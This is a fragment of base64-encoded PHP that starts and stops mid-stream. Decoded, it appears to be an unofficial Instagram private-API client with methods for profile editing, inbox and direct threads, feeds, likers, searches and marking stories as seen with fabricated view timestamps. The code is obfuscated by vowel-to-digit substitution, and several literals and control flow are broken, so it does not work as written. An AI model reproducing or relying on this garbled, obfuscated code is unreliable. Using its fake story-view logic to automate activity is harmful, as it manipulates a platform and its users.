jMjNudHMvYzNycjVudF8zczVyLz81ZDR0PXRyMzUnLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gNWQ0dFByMmY0bDUoJDNybCwgJHBoMm41LCAkZjRyc3RfbjFtNSwgJGI0MmdyMXBoeSwgJDVtMTRsLCAkZzVuZDVyKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnNXh0NXJuMWxfM3JsJyA9PiAkM3JsLA0KICAgICAgICAgICAgICAgICdwaDJuNV9uM21iNXInID0+ICRwaDJuNSwNCiAgICAgICAgICAgICAgICAnM3M1cm4xbTUnICAgICA9PiAkdGg0cy0+M3M1cm4xbTUsDQogICAgICAgICAgICAgICAgJ2Y0cnN0X24xbTUnICAgPT4gJGY0cnN0X24xbTUsDQogICAgICAgICAgICAgICAgJ2I0MmdyMXBoeScgICAgPT4gJGI0MmdyMXBoeSwNCiAgICAgICAgICAgICAgICAnNW0xNGwnICAgICAgICA9PiAkNW0xNGwsDQogICAgICAgICAgICAgICAgJ2c1bmQ1cicgICAgICAgPT4gJGc1bmQ1ciwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzLzVkNHRfcHIyZjRsNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UjVjNW50QWN0NHY0dHkoJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9ICE1bXB0eSgkcjVxMzVzdFAxcjFtcykgPyBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAxcjFtcykpIDogJyc7DQoNCiAgICAgICAgICAgICQxY3Q0djR0eSA9ICR0aDRzLT5yNXEzNXN0KCduNXdzLzRuYjJ4LycgLiAoITVtcHR5KCRwMXIxbUQxdDEpID8gJz8nIC4gJHAxcjFtRDF0MSA6ICcnKSlbNl07DQoNCg0KICAgICAgICAgICAgNGYoJDFjdDR2NHR5WydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkMWN0NHY0dHlbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJDFjdDR2NHR5Ow0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dEYybGwydzRuZ1I1YzVudEFjdDR2NHR5KCRtMXg0ZCA9IE5VTEwpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gW107DQogICAgICAgICAgICA0ZighNW1wdHkoJG0xeDRkKSkgew0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zWyJtMXhfNGQiXSA9ICRtMXg0ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRwMXIxbUQxdDEgPSAhNW1wdHkoJHI1cTM1c3RQMXIxbXMpID8gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKSA6ICcnOw0KDQogICAgICAgICAgICAkMWN0NHY0dHkgPSAkdGg0cy0+cjVxMzVzdCgnbjV3cy8nIC4gKCE1bXB0eSgkcDFyMW1EMXQxKSA/ICc/JyAuICRwMXIxbUQxdDEgOiAnJykpWzZdOw0KDQogICAgICAgICAgICA0ZigkMWN0NHY0dHlbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCQxY3Q0djR0eVsnbTVzczFnNSddIC4gIlxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHI1dDNybiAkMWN0NHY0dHk7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRWYUluYjJ4KCkgew0KICAgICAgICAgICAgJDRuYjJ4ID0gJHRoNHMtPnI1cTM1c3QoJ2Q0cjVjdF92YS80bmIyeC8nKVs2XTsNCg0KICAgICAgICAgICAgNGYoJDRuYjJ4WydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkNG5iMnhbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJDRuYjJ4Ow0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZDRyNWN0VGhyNTFkKCR0aHI1MWRJZCkgew0KICAgICAgICAgICAgJGQ0cjVjdFRocjUxZCA9ICR0aDRzLT5yNXEzNXN0KCJkNHI1Y3RfdmEvdGhyNTFkcy8kdGhyNTFkSWQvIilbNl07DQoNCiAgICAgICAgICAgIDRmKCRkNHI1Y3RUaHI1MWRbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRkNHI1Y3RUaHI1MWRbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGQ0cjVjdFRocjUxZDsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFVzNXJUMWdzKCQzczVybjFtNUlkLCAkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICAgID0+ICR0aDRzLT5yMW5rX3QyazVuLA0KICAgICAgICAgICAgICAgICJyMW5rNWRfYzJudDVudCIgPT4gInRyMzUiDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KICAgICAgICAgICAgJHQxZ3MgPSAkdGg0cy0+cjVxMzVzdCgiM3M1cnQxZ3MvJDNzNXJuMW01SWQvZjU1ZC8/IiAuICRwMXIxbUQxdDEpWzZdOw0KDQogICAgICAgICAgICA0ZigkdDFnc1snc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJHQxZ3NbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJHQxZ3M7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRTNWxmVXM1clQxZ3MoJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5nNXRVczVyVDFncygkdGg0cy0+MWNjMjNudF80ZCwgJG0xeDRkKTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHQxZ0Y1NWQoJHQxZywgJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgInIxbmtfdDJrNW4iICAgICA9PiAkdGg0cy0+cjFua190Mms1biwNCiAgICAgICAgICAgICAgICAicjFuazVkX2MybnQ1bnQiID0+ICJ0cjM1Ig0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgICQzczVyRjU1ZCA9ICR0aDRzLT5yNXEzNXN0KCJmNTVkL3QxZy8kdDFnLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCQzczVyRjU1ZFsnc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJDNzNXJGNTVkWydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICQzczVyRjU1ZDsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRNNWQ0MUw0azVycygkbTVkNDFJZCkgew0KICAgICAgICAgICAgJGw0azVycyA9ICR0aDRzLT5yNXEzNXN0KCJtNWQ0MS8kbTVkNDFJZC9sNGs1cnMvIilbNl07DQogICAgICAgICAgICA0ZigkbDRrNXJzWydzdDF0M3MnXSAhPSAnMmsnKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IEV4YzVwdDQybigkbDRrNXJzWydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICRsNGs1cnM7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRHNTJNNWQ0MSgkM3M1cm4xbTVJZCkgew0KICAgICAgICAgICAgJGwyYzF0NDJucyA9ICR0aDRzLT5yNXEzNXN0KCJtMXBzLzNzNXIvJDNzNXJuMW01SWQvIilbNl07DQoNCiAgICAgICAgICAgIDRmKCRsMmMxdDQybnNbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRsMmMxdDQybnNbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGwyYzF0NDJuczsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bGZHNTJNNWQ0MSgpIHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZzV0RzUyTTVkNDEoJHRoNHMtPjFjYzIzbnRfNGQpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gczUxcmNoVXM1cnMoJHEzNXJ5KSB7DQogICAgICAgICAgICAkcTM1cnkgICAgICAgICA9IHIxdzNybDVuYzJkNSgkcTM1cnkpOw0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgIjRnX3M0Z19rNXlfdjVyczQybiIgPT4gQzJuc3QxbnRzOjpTSUdfS0VZX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgIjRzX3R5cDUxaDUxZCIgICAgICAgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICJxMzVyeSIgICAgICAgICAgICAgID0+ICRxMzVyeSwNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICAgICAgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRwMXIxbUQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KDQogICAgICAgICAgICAkcTM1cnkgPSAkdGg0cy0+cjVxMzVzdCgnM3M1cnMvczUxcmNoLz8nIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCRxMzVyeVsnc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJHEzNXJ5WydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICRxMzVyeTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRVczVySW5mMkJ5TjFtNSgkM3M1cm4xbTUpIHsNCiAgICAgICAgICAgICRxMzVyeSA9ICR0aDRzLT5yNXEzNXN0KCIzczVycy8kM3M1cm4xbTUvM3M1cm4xbTU0bmYyLyIpWzZdOw0KDQogICAgICAgICAgICByNXQzcm4gJHEzNXJ5Ow0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dGw0djVJbmYyQnlOMW01KCRicjIxZGMxc3QpIHsNCiAgICAgICAgICAgICRxMzVyeSA9ICR0aDRzLT5yNXEzNXN0KCJmNTVkLzNzNXIvJGJyMjFkYzFzdC9zdDJyeS8iKVs2XTsNCg0KICAgICAgICAgICAgcjV0M3JuICRxMzVyeTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRVczVySW5mMkJ5SWQoJDNzNXJJZCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCIzczVycy8kM3M1cklkLzRuZjIvIilbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0UzVsZlVzNXJJbmYyKCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5nNXRVczVySW5mMkJ5SWQoJHRoNHMtPjFjYzIzbnRfNGQpOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHM1MXJjaFQxZ3MoJHEzNXJ5KSB7DQogICAgICAgICAgICAkcTM1cnkgICAgICAgICA9IHIxdzNybDVuYzJkNSgkcTM1cnkpOw0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgIjRzX3R5cDUxaDUxZCIgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICJxIiAgICAgICAgICAgID0+ICRxMzVyeSwNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRwMXIxbUQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KICAgICAgICAgICAgJHEzNXJ5ID0gJHRoNHMtPnI1cTM1c3QoInQxZ3MvczUxcmNoLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCRxMzVyeVsnc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJHEzNXJ5WydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICRxMzVyeTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFQ0bTVsNG41RjU1ZCgkbTF4NGQgPSBOVUxMKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAicjFuazVkX2MybnQ1bnQiID0+ICJ0cjM1IiwNCiAgICAgICAgICAgICAgICAicjFua190Mms1biIgICAgID0+ICR0aDRzLT5yMW5rX3QyazVuDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgNGYoITVtcHR5KCRtMXg0ZCkpIHsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAxcjFtc1sibTF4XzRkIl0gPSAkbTF4NGQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkcDFyMW1EMXQxID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMXIxbXMpKTsNCg0KDQogICAgICAgICAgICAkdDRtNWw0bjUgPSAkdGg0cy0+cjVxMzVzdCgiZjU1ZC90NG01bDRuNS8/IiAuICRwMXIxbUQxdDEpWzZdOw0KDQogICAgICAgICAgICA0ZigkdDRtNWw0bjVbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCR0NG01bDRuNVsnbTVzczFnNSddIC4gIlxuIik7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHI1dDNybiAkdDRtNWw0bjU7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRSNTVsc1RyMXlGNTVkKCkgew0KICAgICAgICAgICAgJGY1NWQgPSAkdGg0cy0+cjVxMzVzdCgnZjU1ZC9yNTVsc190cjF5LycpWzZdOw0KDQogICAgICAgICAgICA0ZigkZjU1ZFsic3QxdDNzIl0gIT0gIjJrIikgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJGY1NWRbIm01c3MxZzUiXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGY1NWQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRVczVyRjU1ZCgpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDFyMW1zID0gWw0KICAgICAgICAgICAgICAgICJyMW5rNWRfYzJudDVudCIgPT4gInRyMzUiLA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiAgICAgPT4gJHRoNHMtPnIxbmtfdDJrNW4NCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcDFyMW1EMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkcDFyMW1EMXQxOw0KDQogICAgICAgICAgICAkM3M1ckY1NWQgPSAkdGg0cy0+cjVxMzVzdCgiZjU1ZC8zczVyLyQzczVybjFtNUlkLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIHI1dDNybiAkM3M1ckY1NWQ7DQogICAgICAgIH0NCg0KICAgICAgICBmM25jdDQybiBzdDJyeXY0NXcoJDR0NW1zLCAkM3M1cklELCAkY3NyZikgew0KICAgICAgICAgICAgJHI1NWxzICAgICA9IFtdOw0KICAgICAgICAgICAgJG0xeFM1NW5BdCA9IHQ0bTUoKTsNCiAgICAgICAgICAgICRzNTVuQXQgICAgPSAkbTF4UzU1bkF0IC0gKG8gKiBjMjNudCgkNHQ1bXMpKTsNCiAgICAgICAgICAgIGYycjUxY2goJDR0NW1zIDFzICQ0dDVtKSB7DQoNCiAgICAgICAgICAgICAgICAkNHQ1bVQxazVuQXQgPSAkNHQ1bVsiZzV0VDFrNW5BdCJdOw0KICAgICAgICAgICAgICAgIDRmKCRzNTVuQXQgPCAkNHQ1bVQxazVuQXQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHM1NW5BdCA9ICQ0dDVtVDFrNW5BdCArIGE7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgNGYoJHM1NW5BdCA+ICRtMXhTNTVuQXQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHM1NW5BdCA9ICRtMXhTNTVuQXQ7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgLy8gSzV5IEYycm0xdDogIm01ZDQxUGtfM3M1clBrX3MyM3JjNUlkIi4NCiAgICAgICAgICAgICAgICAvLyBOT1RFOiBJbiBjMXM1IDJmIHM1NTRuZyBzdDJyNDVzIDJuIDEgM3M1cidzIHByMmY0bDUsIHRoNTRyDQogICAgICAgICAgICAgICAgLy8gM3M1clBrIDRzIDNzNWQgMXMgdGg1IHMyM3JjNUlkLCAxcyAibTVkNDFQa18zczVyUGtfM3M1clBrIi4NCiAgICAgICAgICAgICAgICAkcjU1bElkICAgICAgICAgPSAkNHQ1bVsiNHQ1bUlEIl0gLiAnXycgLiAkNHQ1bVsiM3M1clBLIl07DQogICAgICAgICAgICAgICAgJHI1NWxzWyRyNTVsSWRdID0gWyQ0dDVtVDFrNW5BdCAuICdfJyAuICRzNTVuQXRdOw0KICAgICAgICAgICAgICAgICRzNTVuQXQgICAgICAgICArPSByMW5kKDYsIG8pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLyoqDQogICAgICAgICAgICAgKiBAdjFyIEluc3QxZ3IxbSAkMmJqSW5zdDFncjFtDQogICAgICAgICAgICAgKi8NCg0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJDNzNXJJRCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJDNzNXJJRCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJGNzcmYsDQogICAgICAgICAgICAgICAgJ3I1NWxzJyAgICAgID0+ICRyNTVscywNCiAgICAgICAgICAgICAgICAnbDR2NV92MmRzJyAgPT4gW10sDQogICAgICAgICAgICAgICAgJ3I1NWwnICAgICAgID0+IDYsDQogICAgICAgICAgICAgICAgJ2w0djVfdjJkJyAgID0+IDANCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHAyc3REMXQxOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGg0azF5NWM1aygkM3M1cm4xbTVJZCkgew0KDQogICAgICAgICAgICAkZjU1ZCA9ICR0aDRzLT5yNXEzNXN0KCJmNTVkLzNzNXIvJDNzNXJuMW01SWQvc3QycnkvIilbNl07DQoNCg0KICAgICAgICAgICAgNGYoJGY1NWRbInN0MXQzcyJdICE9ICIyayIpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRmNTVkWyJtNXNzMWc1Il0gLiAiXG4iKTsNCg0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGY1NWQ7DQoNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRIMXNodDFnRjU1ZCgkaDFzaHQxZ1N0cjRuZywgJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgInIxbms1ZF9jMm50NW50IiA9PiAidHIzNSIsDQogICAgICAgICAgICAgICAgInIxbmtfdDJrNW4iICAgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgICRoMXNodDFnRjU1ZCA9ICR0aDRzLT5yNXEzNXN0KCJmNTVkL3QxZy8iIC4gJGgxc2h0MWdTdHI0bmcgLiAiLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCRoMXNodDFnRjU1ZFsnc3QxdDNzJ10gIT0gJzJrJykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBFeGM1cHQ0Mm4oJGgxc2h0MWdGNTVkWydtNXNzMWc1J10gLiAiXG4iKTsNCg0KICAgICAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgcjV0M3JuICRoMXNodDFnRjU1ZDsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBzNTFyY2hMMmMxdDQybigkcTM1cnkpIHsNCiAgICAgICAgICAgICRxMzVyeSA9IHIxdzNybDVuYzJkNSgkcTM1cnkpOw0KDQogICAgICAgICAgICAkcjVxMzVzdFAxcjFtcyA9IFsNCiAgICAgICAgICAgICAgICAicTM1cnkiICAgICAgPT4gJHEzNXJ5LA0KICAgICAgICAgICAgICAgICJyMW5rX3QyazVuIiA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCg0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgICRsMmMxdDQybkY1NWQgPSAkdGg0cy0+cjVxMzVzdCgiZmJzNTFyY2gvcGwxYzVzLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCRsMmMxdDQybkY1NWRbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRsMmMxdDQybkY1NWRbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGwyYzF0NDJuRjU1ZDsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dEwyYzF0NDJuRjU1ZCgkbDJjMXQ0Mm5JZCwgJG0xeDRkID0gTlVMTCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXMgPSBbDQogICAgICAgICAgICAgICAgInIxbms1ZF9jMm50NW50IiA9PiAidHIzNSIsDQogICAgICAgICAgICAgICAgInIxbmtfdDJrNW4iICAgICA9PiAkdGg0cy0+cjFua190Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkbTF4NGQpKSB7DQogICAgICAgICAgICAgICAgJHI1cTM1c3RQMXIxbXNbIm0xeF80ZCJdID0gJG0xeDRkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHAxcjFtRDF0MSA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDFyMW1zKSk7DQoNCiAgICAgICAgICAgICRsMmMxdDQybkY1NWQgPSAkdGg0cy0+cjVxMzVzdCgiZjU1ZC9sMmMxdDQybi8iIC4gJGwyYzF0NDJuSWQgLiAiLz8iIC4gJHAxcjFtRDF0MSlbNl07DQoNCiAgICAgICAgICAgIDRmKCRsMmMxdDQybkY1NWRbJ3N0MXQzcyddICE9ICcyaycpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgRXhjNXB0NDJuKCRsMmMxdDQybkY1NWRbJ201c3MxZzUnXSAuICJcbiIpOw0KDQogICAgICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICByNXQzcm4gJGwyYzF0NDJuRjU1ZDsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bGZVczVyRjU1ZCgkbTF4NGQgPSBOVUxMLCAkbTRuVDR